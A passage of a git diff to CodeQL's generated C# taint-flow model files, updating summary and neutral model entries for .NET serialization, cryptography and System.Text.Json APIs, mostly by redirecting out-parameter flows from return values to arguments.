"Vector64", "Sum", "(System.Runtime.Intrinsics.Vector64)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.Serialization.DataContracts.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.Serialization.DataContracts.model.yml index 5acd6d53a1c..813f1750e84 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.Serialization.DataContracts.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.Serialization.DataContracts.model.yml @@ -4,7 +4,9 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Runtime.Serialization.DataContracts", "DataContract", True, "IsDictionaryLike", "(System.String,System.String,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Runtime.Serialization.DataContracts", "DataContract", True, "IsDictionaryLike", "(System.String,System.String,System.String)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Runtime.Serialization.DataContracts", "DataContract", True, "IsDictionaryLike", "(System.String,System.String,System.String)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Runtime.Serialization.DataContracts", "DataContract", True, "IsDictionaryLike", "(System.String,System.String,System.String)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - ["System.Runtime.Serialization.DataContracts", "DataContract", True, "get_BaseContract", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.Serialization.DataContracts", "DataContract", True, "get_DataMembers", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.Serialization.DataContracts", "DataContractSet", False, "DataContractSet", "(System.Runtime.Serialization.DataContracts.DataContractSet)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.Serialization.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.Serialization.model.yml index 9c4f73b489f..bc04cea71ec 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.Serialization.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.Serialization.model.yml @@ -22,7 +22,7 @@ extensions: - ["System.Runtime.Serialization", "IFormatterConverter", True, "ToString", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.Runtime.Serialization", "IObjectReference", True, "GetRealObject", "(System.Runtime.Serialization.StreamingContext)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.Serialization", "ISerializable", True, "GetObjectData", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Runtime.Serialization", "ISurrogateSelector", True, "GetSurrogate", "(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.Serialization", "ISurrogateSelector", True, "GetSurrogate", "(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector)", "", "Argument[this]", "Argument[2]", "value", "dfc-generated"] - ["System.Runtime.Serialization", "KnownTypeAttribute", False, "KnownTypeAttribute", "(System.String)", "", "Argument[0]", "Argument[this].Property[System.Runtime.Serialization.KnownTypeAttribute.MethodName]", "value", "dfc-generated"] - ["System.Runtime.Serialization", "ObjectIDGenerator", True, "GetId", "(System.Object,System.Boolean)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Runtime.Serialization", "ObjectManager", False, "ObjectManager", "(System.Runtime.Serialization.ISurrogateSelector,System.Runtime.Serialization.StreamingContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -63,7 +63,7 @@ extensions: - ["System.Runtime.Serialization", "StreamingContext", False, "get_Context", "()", "", "Argument[this].SyntheticField[System.Runtime.Serialization.StreamingContext._additionalContext]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Serialization", "SurrogateSelector", True, "ChainSelector", "(System.Runtime.Serialization.ISurrogateSelector)", "", "Argument[0]", "Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector]", "value", "dfc-generated"] - ["System.Runtime.Serialization", "SurrogateSelector", True, "GetNextSelector", "()", "", "Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.Serialization", "SurrogateSelector", True, "GetSurrogate", "(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector)", "", "Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.Serialization", "SurrogateSelector", True, "GetSurrogate", "(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector)", "", "Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector]", "Argument[2]", "value", "dfc-generated"] - ["System.Runtime.Serialization", "XPathQueryGenerator", False, "CreateFromDataContractSerializer", "(System.Type,System.Reflection.MemberInfo[],System.Text.StringBuilder,System.Xml.XmlNamespaceManager)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] - ["System.Runtime.Serialization", "XmlSerializableServices", False, "WriteNodes", "(System.Xml.XmlWriter,System.Xml.XmlNode[])", "", "Argument[1].Element", "Argument[0]", "taint", "df-generated"] - ["System.Runtime.Serialization", "XsdDataContractExporter", False, "XsdDataContractExporter", "(System.Xml.Schema.XmlSchemaSet)", "", "Argument[0]", "Argument[this].SyntheticField[System.Runtime.Serialization.XsdDataContractExporter._schemas]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Security.Cryptography.Pkcs.model.yml b/csharp/ql/lib/ext/generated/System.Security.Cryptography.Pkcs.model.yml index 90f36107f3a..babfe0e5cf1 100644 --- a/csharp/ql/lib/ext/generated/System.Security.Cryptography.Pkcs.model.yml +++ b/csharp/ql/lib/ext/generated/System.Security.Cryptography.Pkcs.model.yml @@ -45,12 +45,12 @@ extensions: - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampRequest", False, "Encode", "()", "", "Argument[this].SyntheticField[System.Security.Cryptography.Pkcs.Rfc3161TimestampRequest._encodedBytes].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampRequest", False, "Encode", "()", "", "Argument[this].SyntheticField[System.Security.Cryptography.Pkcs.Rfc3161TimestampRequest._encodedBytes]", "ReturnValue", "value", "dfc-generated"] - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampRequest", False, "GetNonce", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampRequest", False, "TryDecode", "(System.ReadOnlyMemory,System.Security.Cryptography.Pkcs.Rfc3161TimestampRequest,System.Int32)", "", "Argument[0].Property[System.ReadOnlyMemory`1.Span].Element", "ReturnValue.SyntheticField[System.Security.Cryptography.Pkcs.Rfc3161TimestampRequest._encodedBytes].Element", "value", "dfc-generated"] + - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampRequest", False, "TryDecode", "(System.ReadOnlyMemory,System.Security.Cryptography.Pkcs.Rfc3161TimestampRequest,System.Int32)", "", "Argument[0].Property[System.ReadOnlyMemory`1.Span].Element", "Argument[1].SyntheticField[System.Security.Cryptography.Pkcs.Rfc3161TimestampRequest._encodedBytes].Element", "value", "dfc-generated"] - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "AsSignedCms", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForData", "(System.ReadOnlySpan,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[2].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForHash", "(System.ReadOnlySpan,System.Security.Cryptography.HashAlgorithmName,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[3].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForHash", "(System.ReadOnlySpan,System.Security.Cryptography.Oid,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[3].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForSignerInfo", "(System.Security.Cryptography.Pkcs.SignerInfo,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[2].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForData", "(System.ReadOnlySpan,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[2].Element", "Argument[1]", "value", "dfc-generated"] + - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForHash", "(System.ReadOnlySpan,System.Security.Cryptography.HashAlgorithmName,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[3].Element", "Argument[2]", "value", "dfc-generated"] + - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForHash", "(System.ReadOnlySpan,System.Security.Cryptography.Oid,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[3].Element", "Argument[2]", "value", "dfc-generated"] + - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampToken", False, "VerifySignatureForSignerInfo", "(System.Security.Cryptography.Pkcs.SignerInfo,System.Security.Cryptography.X509Certificates.X509Certificate2,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)", "", "Argument[2].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampTokenInfo", False, "Encode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampTokenInfo", False, "GetNonce", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Security.Cryptography.Pkcs", "Rfc3161TimestampTokenInfo", False, "GetSerialNumber", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Security.Cryptography.Xml.model.yml b/csharp/ql/lib/ext/generated/System.Security.Cryptography.Xml.model.yml index eceeb0c2f5c..421f6fbc504 100644 --- a/csharp/ql/lib/ext/generated/System.Security.Cryptography.Xml.model.yml +++ b/csharp/ql/lib/ext/generated/System.Security.Cryptography.Xml.model.yml @@ -81,7 +81,7 @@ extensions: - ["System.Security.Cryptography.Xml", "SignedInfo", False, "get_CanonicalizationMethodObject", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Security.Cryptography.Xml", "SignedInfo", False, "get_References", "()", "", "Argument[this].SyntheticField[System.Security.Cryptography.Xml.SignedInfo._references]", "ReturnValue", "value", "dfc-generated"] - ["System.Security.Cryptography.Xml", "SignedXml", False, "CheckSignature", "(System.Security.Cryptography.KeyedHashAlgorithm)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Security.Cryptography.Xml", "SignedXml", False, "CheckSignatureReturningKey", "(System.Security.Cryptography.AsymmetricAlgorithm)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Security.Cryptography.Xml", "SignedXml", False, "CheckSignatureReturningKey", "(System.Security.Cryptography.AsymmetricAlgorithm)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Security.Cryptography.Xml", "SignedXml", False, "ComputeSignature", "(System.Security.Cryptography.KeyedHashAlgorithm)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Security.Cryptography.Xml", "SignedXml", False, "LoadXml", "(System.Xml.XmlElement)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Security.Cryptography.Xml", "SignedXml", False, "SignedXml", "(System.Xml.XmlDocument)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Text.Json.Nodes.model.yml b/csharp/ql/lib/ext/generated/System.Text.Json.Nodes.model.yml index 626445bb9f0..221e3d39d62 100644 --- a/csharp/ql/lib/ext/generated/System.Text.Json.Nodes.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.Json.Nodes.model.yml @@ -12,7 +12,6 @@ extensions: - ["System.Text.Json.Nodes", "JsonNode", False, "AsObject", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json.Nodes", "JsonNode", False, "AsValue", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json.Nodes", "JsonNode", False, "DeepClone", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json.Nodes", "JsonNode", False, "Parse", "(System.Text.Json.Utf8JsonReader,System.Nullable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json.Nodes", "JsonNode", False, "ReplaceWith", "(T)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", False, "get_Options", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -23,7 +22,7 @@ extensions: - ["System.Text.Json.Nodes", "JsonObject", False, "SetAt", "(System.Int32,System.String,System.Text.Json.Nodes.JsonNode)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - ["System.Text.Json.Nodes", "JsonObject", False, "SetAt", "(System.Int32,System.Text.Json.Nodes.JsonNode)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Text.Json.Nodes", "JsonValue", False, "Create", "(T,System.Text.Json.Serialization.Metadata.JsonTypeInfo,System.Nullable)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json.Nodes", "JsonValue", True, "TryGetValue", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Text.Json.Nodes", "JsonValue", True, "TryGetValue", "(T)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel @@ -50,6 +49,7 @@ extensions: - ["System.Text.Json.Nodes", "JsonNode", "Parse", "(System.IO.Stream,System.Nullable,System.Text.Json.JsonDocumentOptions)", "summary", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", "Parse", "(System.ReadOnlySpan,System.Nullable,System.Text.Json.JsonDocumentOptions)", "summary", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", "Parse", "(System.String,System.Nullable,System.Text.Json.JsonDocumentOptions)", "summary", "df-generated"] + - ["System.Text.Json.Nodes", "JsonNode", "Parse", "(System.Text.Json.Utf8JsonReader,System.Nullable)", "summary", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", "ParseAsync", "(System.IO.Stream,System.Nullable,System.Text.Json.JsonDocumentOptions,System.Threading.CancellationToken)", "summary", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", "ToJsonString", "(System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] - ["System.Text.Json.Nodes", "JsonNode", "WriteTo", "(System.Text.Json.Utf8JsonWriter,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Text.Json.Serialization.model.yml b/csharp/ql/lib/ext/generated/System.Text.Json.Serialization.model.yml index cacf9b8523e..c363d08b191 100644 --- a/csharp/ql/lib/ext/generated/System.Text.Json.Serialization.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.Json.Serialization.model.yml @@ -4,9 +4,7 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Text.Json.Serialization", "BinaryDataJsonConverter", False, "Read", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json.Serialization", "JsonConverter", True, "ReadAsPropertyName", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions)", "", "Argument[0].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element", "ReturnValue", "taint", "dfc-generated"] - - ["System.Text.Json.Serialization", "JsonConverter", True, "ReadAsPropertyName", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json.Serialization", "JsonConverterFactory", True, "CreateConverter", "(System.Type,System.Text.Json.JsonSerializerOptions)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json.Serialization", "JsonDerivedTypeAttribute", False, "JsonDerivedTypeAttribute", "(System.Type,System.String)", "", "Argument[1]", "Argument[this].Property[System.Text.Json.Serialization.JsonDerivedTypeAttribute.TypeDiscriminator]", "value", "dfc-generated"] - ["System.Text.Json.Serialization", "JsonPropertyNameAttribute", False, "JsonPropertyNameAttribute", "(System.String)", "", "Argument[0]", "Argument[this].Property[System.Text.Json.Serialization.JsonPropertyNameAttribute.Name]", "value", "dfc-generated"] @@ -19,6 +17,7 @@ extensions: pack: codeql/csharp-all extensible: neutralModel data: + - ["System.Text.Json.Serialization", "BinaryDataJsonConverter", "Read", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] - ["System.Text.Json.Serialization", "BinaryDataJsonConverter", "Write", "(System.Text.Json.Utf8JsonWriter,System.BinaryData,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] - ["System.Text.Json.Serialization", "IJsonOnDeserialized", "OnDeserialized", "()", "summary", "df-generated"] - ["System.Text.Json.Serialization", "IJsonOnDeserializing", "OnDeserializing", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Text.Json.model.yml b/csharp/ql/lib/ext/generated/System.Text.Json.model.yml index e5e1eb220f9..911f3eb7e97 100644 --- a/csharp/ql/lib/ext/generated/System.Text.Json.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.Json.model.yml @@ -6,8 +6,6 @@ extensions: data: - ["System.Text.Json", "JsonDocument", False, "Parse", "(System.Buffers.ReadOnlySequence,System.Text.Json.JsonDocumentOptions)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonDocument", False, "Parse", "(System.ReadOnlyMemory,System.Text.Json.JsonDocumentOptions)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json", "JsonDocument", False, "ParseValue", "(System.Text.Json.Utf8JsonReader)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonDocument", False, "TryParseValue", "(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonDocument)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json", "JsonDocument", False, "get_RootElement", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonElement+ArrayEnumerator", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json", "JsonElement+ArrayEnumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Text.Json.JsonElement+ArrayEnumerator.Current]", "ReturnValue", "value", "dfc-generated"] @@ -21,11 +19,9 @@ extensions: - ["System.Text.Json", "JsonElement", False, "GetProperty", "(System.ReadOnlySpan)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonElement", False, "GetProperty", "(System.ReadOnlySpan)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonElement", False, "GetProperty", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json", "JsonElement", False, "ParseValue", "(System.Text.Json.Utf8JsonReader)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonElement", False, "TryGetProperty", "(System.ReadOnlySpan,System.Text.Json.JsonElement)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json", "JsonElement", False, "TryGetProperty", "(System.ReadOnlySpan,System.Text.Json.JsonElement)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json", "JsonElement", False, "TryGetProperty", "(System.String,System.Text.Json.JsonElement)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.Json", "JsonElement", False, "TryParseValue", "(System.Text.Json.Utf8JsonReader,System.Nullable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Text.Json", "JsonElement", False, "TryGetProperty", "(System.ReadOnlySpan,System.Text.Json.JsonElement)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Text.Json", "JsonElement", False, "TryGetProperty", "(System.ReadOnlySpan,System.Text.Json.JsonElement)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Text.Json", "JsonElement", False, "TryGetProperty", "(System.String,System.Text.Json.JsonElement)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Text.Json", "JsonElement", False, "get_Item", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonEncodedText", False, "Encode", "(System.ReadOnlySpan,System.Text.Encodings.Web.JavaScriptEncoder)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonEncodedText", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -46,11 +42,6 @@ extensions: - ["System.Text.Json", "JsonProperty", False, "get_Name", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonReaderState", False, "JsonReaderState", "(System.Text.Json.JsonReaderOptions)", "", "Argument[0]", "Argument[this].SyntheticField[System.Text.Json.JsonReaderState._readerOptions]", "value", "dfc-generated"] - ["System.Text.Json", "JsonReaderState", False, "get_Options", "()", "", "Argument[this].SyntheticField[System.Text.Json.JsonReaderState._readerOptions]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonSerializer", False, "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonSerializer", False, "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonSerializer", False, "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.Serialization.JsonSerializerContext)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonSerializer", False, "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonSerializerOptions)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Json", "JsonSerializer", False, "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.Json", "JsonSerializer", False, "Serialize", "(System.IO.Stream,System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["System.Text.Json", "JsonSerializer", False, "Serialize", "(System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["System.Text.Json", "JsonSerializer", False, "Serialize", "(System.Text.Json.Utf8JsonWriter,System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] @@ -74,7 +65,7 @@ extensions: - ["System.Text.Json", "JsonSerializerOptions", False, "GetConverter", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonSerializerOptions", False, "GetTypeInfo", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.Json", "JsonSerializerOptions", False, "JsonSerializerOptions", "(System.Text.Json.JsonSerializerOptions)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Text.Json", "JsonSerializerOptions", False, "TryGetTypeInfo", "(System.Type,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Text.Json", "JsonSerializerOptions", False, "TryGetTypeInfo", "(System.Type,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Text.Json", "Utf8JsonReader", False, "CopyString", "(System.Span)", "", "Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element", "Argument[0].Element", "value", "dfc-generated"] - ["System.Text.Json", "Utf8JsonReader", False, "GetComment", "()", "", "Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element", "ReturnValue", "taint", "dfc-generated"] - ["System.Text.Json", "Utf8JsonReader", False, "GetString", "()", "", "Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element", "ReturnValue", "taint", "dfc-generated"] @@ -95,6 +86,8 @@ extensions: - ["System.Text.Json", "JsonDocument", "Parse", "(System.ReadOnlyMemory,System.Text.Json.JsonDocumentOptions)", "summary", "df-generated"] - ["System.Text.Json", "JsonDocument", "Parse", "(System.String,System.Text.Json.JsonDocumentOptions)", "summary", "df-generated"] - ["System.Text.Json", "JsonDocument", "ParseAsync", "(System.IO.Stream,System.Text.Json.JsonDocumentOptions,System.Threading.CancellationToken)", "summary", "df-generated"] + - ["System.Text.Json", "JsonDocument", "ParseValue", "(System.Text.Json.Utf8JsonReader)", "summary", "df-generated"] + - ["System.Text.Json", "JsonDocument", "TryParseValue", "(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonDocument)", "summary", "df-generated"] - ["System.Text.Json", "JsonDocument", "WriteTo", "(System.Text.Json.Utf8JsonWriter)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement+ArrayEnumerator", "Dispose", "()", "summary", "df-generated"] - ["System.Text.Json", "JsonElement+ArrayEnumerator", "MoveNext", "()", "summary", "df-generated"] @@ -123,6 +116,7 @@ extensions: - ["System.Text.Json", "JsonElement", "GetUInt16", "()", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "GetUInt32", "()", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "GetUInt64", "()", "summary", "df-generated"] + - ["System.Text.Json", "JsonElement", "ParseValue", "(System.Text.Json.Utf8JsonReader)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "ToString", "()", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "TryGetByte", "(System.Byte)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "TryGetBytesFromBase64", "(System.Byte[])", "summary", "df-generated"] @@ -139,6 +133,7 @@ extensions: - ["System.Text.Json", "JsonElement", "TryGetUInt16", "(System.UInt16)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "TryGetUInt32", "(System.UInt32)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "TryGetUInt64", "(System.UInt64)", "summary", "df-generated"] + - ["System.Text.Json", "JsonElement", "TryParseValue", "(System.Text.Json.Utf8JsonReader,System.Nullable)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "ValueEquals", "(System.ReadOnlySpan)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "ValueEquals", "(System.ReadOnlySpan)", "summary", "df-generated"] - ["System.Text.Json", "JsonElement", "ValueEquals", "(System.String)", "summary", "df-generated"] @@ -183,6 +178,9 @@ extensions: - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Nodes.JsonNode,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Nodes.JsonNode,System.Type,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Nodes.JsonNode,System.Type,System.Text.Json.Serialization.JsonSerializerContext)", "summary", "df-generated"] + - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "summary", "df-generated"] + - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] + - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.Serialization.JsonSerializerContext)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.IO.Stream,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.IO.Stream,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.ReadOnlySpan,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] @@ -197,6 +195,8 @@ extensions: - 